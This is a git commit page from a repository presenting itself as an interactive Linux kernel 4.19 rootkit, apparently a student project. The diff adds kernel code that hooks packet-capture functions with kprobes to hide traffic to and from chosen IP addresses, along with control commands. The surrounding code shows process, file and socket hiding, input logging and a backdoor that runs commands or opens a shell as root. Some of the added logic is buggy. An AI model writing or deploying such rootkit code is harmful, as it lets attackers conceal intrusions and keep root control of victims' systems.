linux-rootkit

Feature-rich interactive rootkit that targets Linux kernel 4.19, accompanied by a dynamic kernel memory analysis GDB plugin for in vivo introspection (e.g. using QEMU)
git clone git://git.deurzen.net/linux-rootkit
Log | Files | Refs

commit 10b6003da5e1cd098ed4ffb88816cb756ba8f02f
parent 5f0df8508a9b63b77b6bb4639e0f231cb4e8c66e
Author: deurzen <m.deurzen@tum.de>
Date:   Sat, 19 Dec 2020 23:47:33 +0100

initial packhide message handling

Diffstat:
Msrc/channel.c | 38++++++++++++++++++++++++++++++++++++++
Msrc/channel.h | 1+
Msrc/g7.c | 1+
Msrc/ioctl.h | 7++++---
Msrc/packhide.c | 136+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++----------
Msrc/packhide.h | 30++++++++++++++++++++++++++++++
Msrc/rkctl/rkctl.c | 34++++++++++++++++++++++++++++++++++
Msrc/rkctl/rkctl.h | 1+
Msrc/rootkit.h | 1+
9 files changed, 230 insertions(+), 19 deletions(-)

diff --git a/src/channel.c b/src/channel.c @@ -16,6 +16,7 @@ #include "ioctl.h" #include "rootkit.h" #include "sockhide.h" +#include "packhide.h" #define BUFLEN 512 @@ -33,6 +34,7 @@ report_channels(void) DEBUG_NOTICE("%-24s %#10lx\n", "HIDEPID", G7_PIDHIDE); DEBUG_NOTICE("%-24s %#10lx\n", "TCPHIDE", G7_TCPHIDE); DEBUG_NOTICE("%-24s %#10lx\n", "UDPHIDE", G7_UDPHIDE); + DEBUG_NOTICE("%-24s %#10lx\n", "PACKHIDE", G7_PACKHIDE); DEBUG_NOTICE("%-24s %#10lx\n", "BACKDOOR", G7_BACKDOOR); DEBUG_NOTICE("%-24s %#10lx\n", "TOGGLEBD", G7_TOGGLEBD); DEBUG_NOTICE("%-24s %#10lx\n", "LOGGING", G7_LOGGING); @@ -50,6 +52,7 @@ detect_channel(unsigned cmd) case G7_PIDHIDE: return (channel_t){ "HIDEPID", handle_pidhide }; case G7_TCPHIDE: return (channel_t){ "TCPHIDE", handle_tcphide }; case G7_UDPHIDE: return (channel_t){ "UDPHIDE", handle_udphide }; + case G7_PACKHIDE: return (channel_t){ "PACKHIDE", handle_packhide }; case G7_BACKDOOR: return (channel_t){ "BACKDOOR", handle_backdoor }; case G7_TOGGLEBD: return (channel_t){ "TOGGLEBD", handle_togglebd }; case G7_LOGGING: return (channel_t){ "LOGGING", handle_logging }; @@ -235,6 +238,41 @@ handle_udphide(unsigned long arg) } int +handle_packhide(unsigned long arg) +{ + char buf[BUFLEN]; + memset(buf, 0, BUFLEN); + const char *sarg = (const char *)arg; + + if (!sarg) { + unhide_packets(); + rootkit.hiding_packets = 0; + DEBUG_NOTICE("[g7] packet hiding off\n"); + } else if (!copy_from_user(buf, sarg, BUFLEN) + && (strstr(buf, ":") || strstr(buf, "."))) + { + if (sarg[0] == (char)1) { + if (!rootkit.hiding_packets) { + hide_packets(); + DEBUG_NOTICE("[g7] packet hiding on\n"); + } + + hide_ip(&sarg[1]); + rootkit.hiding_packets = 1; + DEBUG_INFO("[g7] hiding packets from/to ip address %s\n", &sarg[1]); + } else if (sarg[0] == (char)-1) { + unhide_ip(&sarg[1]); + DEBUG_INFO("[g7] unhiding packets from/to ip address %s\n", &sarg[1]); + } else + return -ENOTTY; + + } else + return -ENOTTY; + + return 0; +} + +int handle_backdoor(unsigned long arg) { char buf[BUFLEN]; diff --git a/src/channel.h b/src/channel.h @@ -17,6 +17,7 @@ int handle_openhide(unsigned long); int handle_pidhide(unsigned long); int handle_tcphide(unsigned long); int handle_udphide(unsigned long); +int handle_packhide(unsigned long); int handle_backdoor(unsigned long); int handle_togglebd(unsigned long); int handle_logging(unsigned long); diff --git a/src/g7.c b/src/g7.c @@ -45,6 +45,7 @@ rootkit_t rootkit = { .hiding_open = true, .hiding_pids = true, .hiding_sockets = true, + .hiding_packets = true, .logging_input = true, .backdoor = BD_TTY, }; diff --git a/src/ioctl.h b/src/ioctl.h @@ -11,8 +11,9 @@ #define G7_PIDHIDE _IOR(G7_MAGIC_NUMBER, 0x4, char *) #define G7_TCPHIDE _IOR(G7_MAGIC_NUMBER, 0x5, char *) #define G7_UDPHIDE _IOR(G7_MAGIC_NUMBER, 0x6, char *) -#define G7_BACKDOOR _IOR(G7_MAGIC_NUMBER, 0x7, char *) -#define G7_TOGGLEBD _IOR(G7_MAGIC_NUMBER, 0x8, char *) -#define G7_LOGGING _IOR(G7_MAGIC_NUMBER, 0x9, char *) +#define G7_PACKHIDE _IOR(G7_MAGIC_NUMBER, 0x7, char *) +#define G7_BACKDOOR _IOR(G7_MAGIC_NUMBER, 0x8, char *) +#define G7_TOGGLEBD _IOR(G7_MAGIC_NUMBER, 0x9, char *) +#define G7_LOGGING _IOR(G7_MAGIC_NUMBER, 0xa, char *) #endif//_GROUP7_IOCTL_H diff --git a/src/packhide.c b/src/packhide.c @@ -2,28 +2,39 @@ #include <linux/kprobes.h> #include <linux/skbuff.h> #include <linux/netdevice.h> +#include <linux/inet.h> #include <uapi/linux/if_packet.h> #include <uapi/linux/ip.h> #include <uapi/linux/ipv6.h> #include "common.h" #include "hook.h" +#include "packhide.h" + +ip_list_t hidden_ips = { + .ip = { 0 }, + .version = -1, + .prev = NULL, + .next = NULL, +}; + +ip_list_t_ptr hidden_ips_tail = &hidden_ips; static int g7_packet_rcv(struct kprobe *, struct pt_regs *); static int g7_fault(struct kprobe *, struct pt_regs *, int); static void g7_post(struct kprobe *, struct pt_regs *m, unsigned long); -//TODO store in array of kprobes +// TODO store in array of kprobes static struct kprobe p_rcv = { - .symbol_name = "packet_rcv", + .symbol_name = "packet_rcv", }; static struct kprobe tp_rcv = { - .symbol_name = "tpacket_rcv", + .symbol_name = "tpacket_rcv", }; static struct kprobe p_rcv_spkt = { - .symbol_name = "packet_rcv_spkt", + .symbol_name = "packet_rcv_spkt", }; void @@ -43,10 +54,10 @@ hide_packets(void) if (register_kprobe(&p_rcv)) DEBUG_INFO("[g7] Could not insert kprobe p_rcv\n"); - + if (register_kprobe(&tp_rcv)) DEBUG_INFO("[g7] Could not insert kprobe tp_rcv\n"); - + if (register_kprobe(&p_rcv_spkt)) DEBUG_INFO("[g7] Could not insert kprobe p_rcv_spkt\n"); } @@ -59,6 +70,37 @@ unhide_packets(void) unregister_kprobe(&p_rcv_spkt); } +void +hide_ip(const char *ip) +{ + u8 ipv4[16]; + u8 ipv6[16]; + + if (strstr(ip, ".") && in4_pton(ip, -1, ipv4, -1, NULL)) { + if (!list_contains_ip(&hidden_ips, ipv4, v4)) { + memcpy(ipv4 + 4, (ip_t){ 0 }, 12); + add_ip_to_list(hidden_ips_tail, ipv4, v4); + } + } else if (strstr(ip, ":") && in6_pton(ip, -1, ipv6, -1, NULL)) { + if (!list_contains_ip(&hidden_ips, ipv6, v6)) + add_ip_to_list(hidden_ips_tail, ipv6, v6); + } +} + +void +unhide_ip(const char *ip) +{ + u8 ipv4[16]; + u8 ipv6[16]; + + if (strstr(ip, ".") && in4_pton(ip, -1, ipv4, -1, NULL)) { + memcpy(ipv4 + 4, (ip_t){ 0 }, 12); + remove_ip_from_list(&hidden_ips, ipv4, v4); + } else if (strstr(ip, ":") && in6_pton(ip, -1, ipv6, -1, NULL)) { + remove_ip_from_list(&hidden_ips, ipv6, v6); + } +} + static int g7_packet_rcv(struct kprobe *kp, struct pt_regs *pt_regs) { @@ -68,21 +110,26 @@ g7_packet_rcv(struct kprobe *kp, struct pt_regs *pt_regs) char *data = skb_network_header(skb); char ver = data[0]; - if ((ver & 0x40)) { - struct iphdr *iphdr; - struct sk_buff *clone = skb_clone(skb, GFP_KERNEL); + struct iphdr *iphdr; + struct sk_buff *clone = skb_clone(skb, GFP_KERNEL); + + pt_regs->di = (long unsigned int)clone; + iphdr = (struct iphdr *)skb_network_header(clone); - pt_regs->di = (long unsigned int)clone; - iphdr = (struct iphdr *)skb_network_header(clone); - - if (iphdr->saddr == 0x08080808 || iphdr->daddr == 0x08080808) + if ((ver & 0x40)) { + if (list_contains_ip(&hidden_ips, (u8 *)&iphdr->saddr, v4) + || list_contains_ip(&hidden_ips, (u8 *)&iphdr->daddr, v4)) + clone->pkt_type = PACKET_LOOPBACK; + } else if ((ver & 0x60)) { + if (list_contains_ip(&hidden_ips, (u8 *)&iphdr->saddr, v6) + || list_contains_ip(&hidden_ips, (u8 *)&iphdr->daddr, v6)) clone->pkt_type = PACKET_LOOPBACK; } return 0; } -static void +static void g7_post(struct kprobe *kp, struct pt_regs *pt_regs, unsigned long flags) { return; @@ -92,4 +139,62 @@ static int g7_fault(struct kprobe *kp, struct pt_regs *pt_regs, int trapnr) { return 0; -} -\ No newline at end of file +} + +bool +list_contains_ip(ip_list_t_ptr list, ip_t ip, ip_version version) +{ + return !!find_ip_in_list(list, ip, version); +} + +ip_list_t_ptr +find_ip_in_list(ip_list_t_ptr head, ip_t ip, ip_version version) +{ + ip_list_t_ptr i; + for (i = head; i; i = i->next) + if (memcmp(i->ip, ip, 16) && (version == -1 || i->version == version)) + return i; + + return NULL; +} + +ip_list_t_ptr +add_ip_to_list(ip_list_t_ptr tail, ip_t ip, ip_version version) +{ + ip_list_t_ptr node; + node = (ip_list_t_ptr)kmalloc(sizeof(ip_list_t), GFP_KERNEL); + + if (node) { + memcpy(node->ip, ip, 16); + node->version = version; + node->next = NULL; + node->prev = tail; + tail->next = node; + hidden_ips_tail = node; + return node; + } + + return NULL; +} + +ip_list_t_ptr +remove_ip_from_list(ip_list_t_ptr list, ip_t ip, ip_version version) +{ + ip_list_t_ptr i = find_ip_in_list(list, ip, version), ret = NULL; + + if (i && (memcmp(i->ip, (ip_t){ 0 }, 16) && i->version != -1)) { + if (i->next) + i->next->prev = i->prev; + else + hidden_ips_tail = i->prev ? i->prev : &hidden_ips; + + if (i->prev) { + i->prev->next = i->next; + ret = i->prev; + } + + kfree(i); + } + + return ret; +} diff --git a/src/packhide.h b/src/packhide.h @@ -1,2 +1,32 @@ +#ifndef _GROUP7_PACKHIDE_H +#define _GROUP7_PACKHIDE_H + +typedef enum { + v4, + v6 +} ip_version; + +typedef u8 ip_t[16]; + +typedef struct ip_list *ip_list_t_ptr; +typedef struct ip_list { + ip_t ip; + ip_version version; + ip_list_t_ptr prev; + ip_list_t_ptr next; +} ip_list_t; + +extern ip_list_t hidden_ips; + void hide_packets(void); void unhide_packets(void); + +void hide_ip(const char *); +void unhide_ip(const char *); + +bool list_contains_ip(ip_list_t_ptr, ip_t, ip_version); +ip_list_t_ptr find_ip_in_list(ip_list_t_ptr, ip_t, ip_version); +ip_list_t_ptr add_ip_to_list(ip_list_t_ptr, ip_t, ip_version); +ip_list_t_ptr remove_ip_from_list(ip_list_t_ptr, ip_t, ip_version); + +#endif //_GROUP7_PACKHIDE_H diff --git a/src/rkctl/rkctl.c b/src/rkctl/rkctl.c @@ -121,6 +121,32 @@ parse_input(int argc, char **argv) if (ARGVCMP(1, "sockethide-off")) return (cmd_t){ handle_tcphide, (void *)0 }; + if (ARGVCMP(1, "packet")) { + ASSERT_ARGC(3, "packet <hide | unhide> <ip>"); + + if (ARGVCMP(2, "hide")) { + size_t arglen = strlen(argv[3]); + size_t maxlen = BUFLEN - 1; + char *hide_ip = (char *)malloc(BUFLEN); + memset(hide_ip, 0, BUFLEN); + hide_ip[0] = (char)1; + memcpy(hide_ip + 1, argv[3], arglen < maxlen ? arglen : arglen); + return (cmd_t){ handle_packhide, (void *)hide_ip }; + } + + if (ARGVCMP(2, "unhide")){ + size_t arglen = strlen(argv[3]); + size_t maxlen = BUFLEN - 1; + char *unhide_ip = (char *)malloc(BUFLEN); + memset(unhide_ip, 0, BUFLEN); + unhide_ip[0] = (char)-1; + memcpy(unhide_ip + 1, argv[3], arglen < maxlen ? arglen : arglen); + return (cmd_t){ handle_packhide, (void *)unhide_ip }; + } + } + if (ARGVCMP(1, "packethide-off")) + return (cmd_t){ handle_packhide, (void *)0 }; + if (ARGVCMP(1, "backdoor")) { ASSERT_ARGC(2, "backdoor <execve_command>"); return (cmd_t){ handle_backdoor, (void *)argv[2] }; @@ -201,6 +227,12 @@ handle_udphide(void *arg) } int +handle_packhide(void *arg) +{ + return issue_ioctl(G7_PACKHIDE, (const char *)arg); +} + +int handle_backdoor(void *arg) { return issue_ioctl(G7_BACKDOOR, (const char *)arg); @@ -268,6 +300,8 @@ help() printf("%-42s %s\n", "hidepid <add | rm> <PID>", "{,un}hide a process"); printf("%-42s %s\n", "socket <hide | unhide> <tcp | udp> <port>", "{,un}hide a tcp or udp socket with the given port"); printf("%-42s %s\n", "sockethide-off", "disable any (tcp or udp) socket hiding"); + printf("%-42s %s\n", "packet <hide | unhide> <ip>", "{,un}hide packets from/to given ip address (IPv4 or IPv6)"); + printf("%-42s %s\n", "packethide-off", "disable any packet hiding"); printf("%-42s %s\n", "backdoor <execve_command>", "exec a command as root"); printf("%-42s %s\n", "shell", "obtain a shell as root"); printf("%-42s %s\n", "backdoor-use-tty <0 | 1>", "listen for `make_me_root` on read (0) or TTY (1)"); diff --git a/src/rkctl/rkctl.h b/src/rkctl/rkctl.h @@ -27,6 +27,7 @@ int handle_openhide(void *); int handle_pidhide(void *); int handle_tcphide(void *); int handle_udphide(void *); +int handle_packhide(void *); int handle_backdoor(void *); int handle_shellbd(void *); int handle_togglebd(void *); diff --git a/src/rootkit.h b/src/rootkit.h @@ -16,6 +16,7 @@ typedef struct { bool hiding_pids; bool hiding_open; bool hiding_sockets; + bool hiding_packets; bool logging_input; bd_state_t backdoor; } rootkit_t;